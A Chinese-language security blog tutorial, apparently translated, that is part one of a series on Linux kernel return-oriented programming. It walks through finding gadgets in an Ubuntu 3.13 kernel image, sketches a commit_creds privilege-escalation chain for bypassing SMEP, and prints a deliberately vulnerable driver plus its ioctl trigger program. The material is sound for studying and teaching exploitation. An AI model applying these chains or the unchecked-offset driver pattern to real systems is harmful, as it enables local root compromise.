Linux内核ROP姿势详解(一)

2016-01-30 525372人围观 ,发现 1 个不明物体 系统安全

ROP(Return-oriented programming)是一种基于代码复用技术的新型攻击,攻击者供已有的库或可执行文件中提取指令片段、构建恶意代码。

内核ROP

内核ROP是一种有效的用于联合非可执行存储区域旁路限制的技术。例如,ROP提出在最新的Intel处理器上的一种绕过内核和用户地址分离缓解(如SMEP Supervisor Mode execution protection 管理方式执行保护)的实践性方法。

本教程的目的是演示如何使用内核ROP链构造提升用户权限。结果是否成功还要看下面的条件是否满足:

执行一个权限升级的有效载荷
驻留在用户空间的数据可能被引用(例如,来自用户空间的"fetching"数据是允许的)
驻留在用户空间中的指令可能不被执行

在典型的ret2usr攻击中,内科执行流重定向到一个包括权限提升有效载荷的用户空间地址:

void __attribute__((regparm(3))) payload() {
        commit_creds(prepare_kernel_cred(0);
}

上述权限提升有效载荷会分配一个新的凭证结构(uid=0, gid=0等)并将它应用到调用进程中。我们可以构建一个ROP链,这个链不需要执行任何驻留在用户空间中的结构就会执行上述操作,比如,它不用为任何用户空间内存地址设置程序计数器就可以执行上述操作。最终目标是利用一个ROP链在内核空间中执行整个权限提升有效载荷。但是在实践中,它可能不太有必要。举个例子,为了绕过SMEP,使用一个ROP链可以翻转smep,然后一个标准的权限提升载荷就可以在用户空间中被执行了。

基于以上有效载荷的ROP链应该和下面的内容看起来非常类似:

使用x86_64调用约定,函数的第一个参数传入%rdi寄存器中。因此,ROP链中的第一个指令会从空值堆栈中弹出。之后,这个值会作为第一个参数传给prepare_kernel_cred()。一个指向新的cred结构会被储存到%rax中,然后被再次移动到%rdi,然后被作为第一个参数传给commit_creds()。我们目前故意忽略了一些一旦凭据适用就返回给用户空间的细节。我们会在教程(二)中详细讨论这些细节。

在这一部分,我们将讨论如何找到有用的gadgets并建立一个权限提升ROP链。之后我们会看到一个之后会使用证明ROP链的实践性的脆弱驱动代码。

测试系统

本教程使用具有以下内核的Ubuntu 12.04.5 LTS (x64)进行测试:

vnik@ubuntu:~$ uname -a
Linux ubuntu 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:51:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

如果你想跟学并使用相同的内核,所有的ROP gadgets的地址都应该和我现在所用的相同。

Gadgets

和用户空间应用相同,ROPgadgets可以从内核二进制文件中提取。然而,我们还需要考虑以下几点:

我们需要ELF(vmlinux)映像来提取gadgets。如果我们使用/boot/vmlinuz*映像,它首先需要被解压,然后一个转没用于设计提取ROP gadgets的工具是首选。/boot/vmlinuz*是一个压缩的内核映像(使用了不同的压缩算法)。它可以通过使用extract-vmlinux脚本进行提取。

vnik@ubuntu:~$ sudo file /boot/vmlinuz-4.2.0-16-generic 
/boot/vmlinuz-4.2.0-16-generic: Linux kernel x86 boot executable bzImage, version 4.2.0-16-generic (buildd@lcy01-07) #19-Ubuntu SMP Thu Oct 8 15:, RO-rootFS, swap_dev 0x6, Normal VGA
vnik@ubuntu:~$ sudo ./extract-vmlinux /boot/vmlinuz-3.13.0-32-generic > vmlinux
vnik@ubuntu:~$ file vmlinux 
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=0x32143d561875c4e5f3229003aca99c880e2bedb2, stripped

ROP技术利用代码错位的优势确定新的gadgets。x86的用语言密度让这种方式成为可能,比如,x86执行集足够大(指令具有不同的长度),任意字节序列都可以被解释成有效指令。举个例子,以下指令根据偏移有了不同的解释:

0f 94 c3; sete   %bl
   94 c3; xchg eax, esp; ret

只需对为压缩内核映像运行objdump,然后grepping获得gadgets就会产生所有可用gadgets的一小部分(因为我们只使用了对其地址)。值得一提的是,在大多数情况下这样做已经足够找到需要的gadgets了。

一个更有效的方法就是在ELF二进制中使用特定的识别gadgets的工具。举个例子,ROPgadget就是个很棒的工具,它可以被用于识别所有的gadgets:

vnik@ubuntu:~/ROPgadget$ ./ROPgadget.py --binary ./vmlinux > ~/ropgadget 
vnik@ubuntu:~/ROPgadget$ tail ~/ropgadget 
Gadgets information
============================================================
0xffffffff810c108c : adc ah, ah ; add byte ptr [rax - 0x77], cl ; ret
0xffffffff81054c3a : adc ah, ah ; xor al, byte ptr [rax] ; pop rbp ; ret
0xffffffff815abb0a : adc ah, al ; lcall ptr [rbx + 0x41] ; pop rsp ; xor eax, eax ; pop rbp ; ret
0xffffffff81b0d595 : adc ah, al ; ljmp ptr [rcx + rax*4 - 9] ; call rax
0xffffffff8112fc05 : adc ah, bh ; add byte ptr [rax - 0x77], cl ; in eax, 0x5d ; ret
0xffffffff811965e9 : adc ah, bh ; lcall ptr [rbx + 0x41] ; pop rsp ; xor eax, eax ; pop rbp ; ret
0xffffffff81495bba : adc ah, bh ; mov esi, 0xc7c748ff ; loopne 0xffffffff81495c47 ; retf -0x177f
0xffffffff8158fb9a : adc ah, bl ; loopne 0xffffffff8158fba4 ; xor eax, eax ; pop rbp ; re

注意,ROPgadget需要intel语法,现在我们就能使用ROPgadget搜索提权TOP链中列出的东西了。我们需要的第一个gadget就是pop %rdi; ret:

vnik@ubuntu:~$ grep  ': pop rdi ; ret' ropgadget  
0xffffffff810c9ebd : pop rdi ; ret                <--- our first gadget
0xffffffff819b4827 : pop rdi ; ret 0x10b4
0xffffffff819c5f80 : pop rdi ; ret 0x161
0xffffffff819a08f2 : pop rdi ; ret 0x2eb4
0xffffffff8184806c : pop rdi ; ret 0x40a3
0xffffffff81a23854 : pop rdi ; ret 0x5b4
0xffffffff81952077 : pop rdi ; ret 0x6576
...

现任上述任何gadgets都可以被使用。然而,如果我们确定使用被ret[some_num]跟随的gadgets,我们需要构建相应的ROP链,同时考虑到堆栈指针将被[some_num]递增(记住堆栈会向着更低的内存地址增长)。我们会在Part2中进行解释。注意一个gadget可能实在一个非执行页中被定位的。在这种情况下,一定要找到一个可代换的gadget。

在测试内核中不存在gadgets mov %rax, %rdi ret。但是这里有几个属于他们的gadgets:

0xffffffff8143ae19 : mov rdi, rax ; call r12
0xffffffff81636240 : mov rdi, rax ; call r14
0xffffffff811b22c2 : mov rdi, rax ; call r15
0xffffffff810d7f63 : mov rdi, rax ; call r8
0xffffffff81184c73 : mov rdi, rax ; call r9
0xffffffff815b4593 : mov rdi, rax ; call rbx
0xffffffff810d805d : mov rdi, rax ; call rcx
0xffffffff81036b70 : mov rdi, rax ; call rdx    <--- our gadget

…我们可以通过加载commit_creds()地址进入%rbx来调整我们初始的ROP链以适应调用指令。调用执行接下来会执行带有%rdi的commit_creds()指向我们新的”root”cred结构。

执行上面的ROP链应该升级当前root进程的权限。

脆弱的驱动

为了简化开发过程并证明内核ROP链的可实践性,我们开发了以下脆弱驱动程序:

struct drv_req {
        unsigned long offset;
};
...
static long device_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
        struct drv_req *req;
        void (*fn)(void);
        switch(cmd) {
        case 0:
                req = (struct drv_req *)args;
                printk(KERN_INFO "size = %lx\n", req->offset);
                printk(KERN_INFO "fn is at %p\n", &ops[req->offset]);
                fn = &ops[req->offset];                                     [1]
                fn();
                break;
        default:
                break;
        }
        return 0;
}

在[1]中没有为数组进行边界检验。用户提供的偏移量足够大就可以在用户空间或内核空间中访问任何内存地址。

驱动在加载时注册 /dev/vulndra 设备并打印ops阵列地址:

vnik@ubuntu:~/kernel_rop$ make && sudo insmod ./drv.ko
make -C /lib/modules/3.13.0-32-generic/build M=/home/vnik/kernel_rop modules
make[1]: Entering directory `/usr/src/linux-headers-3.13.0-32-generic'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory `/usr/src/linux-headers-3.13.0-32-generic'
[sudo] password for vnik: 
vnik@ubuntu:~/kernel_rop$ dmesg | tail
[ 1876.256007] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
[ 1878.259739] e1000: eth0 NIC Link is Down
[ 1884.274250] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: None
[ 3325.908438] drv: module verification failed: signature and/or  required key missing - tainting kernel
[ 3325.909211] addr(ops) = ffffffffa0253340

我们可以通过来自用户空间的提供的ioctl到达脆弱路径:

vnik@ubuntu:~/kernel_rop/vulndrv$ sudo chmod a+r /dev/vulndrv 
vnik@ubuntu:~/kernel_rop/vulndrv$ ./trigger [offset]

触发源码如下所示:

#define DEVICE_PATH "/dev/vulndrv"
...
int main(int argc, char **argv) {
        int fd;
        struct drv_req req;
        req.offset = atoll(argv[1]);
        fd = open(DEVICE_PATH, O_RDONLY);
        if (fd == -1) {
                perror("open");
        }
        ioctl(fd, 0, &req);
        return 0;
}

通过提供一种预先计算的偏移,任何内核空间中的存储地址都可以被执行。我们可以把fn()指向mmap的用户空间存储地址(含权限提升的有效载荷),但是要记住最初的需求:驻留在用户空间的指令不应该被执行。

我们需要一种方法来重定向内核执行流到我们的ROP链而不执行任何用户空间指令。我们会在Part2中详细解释。

敬请期待第二部分!

内核驱动源码和用户空间触发程序已经发布在了github上。

*参考链接:cyseclabs,FB小编FireFrank编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论

已有 1 条评论

取消
Loading...
css.php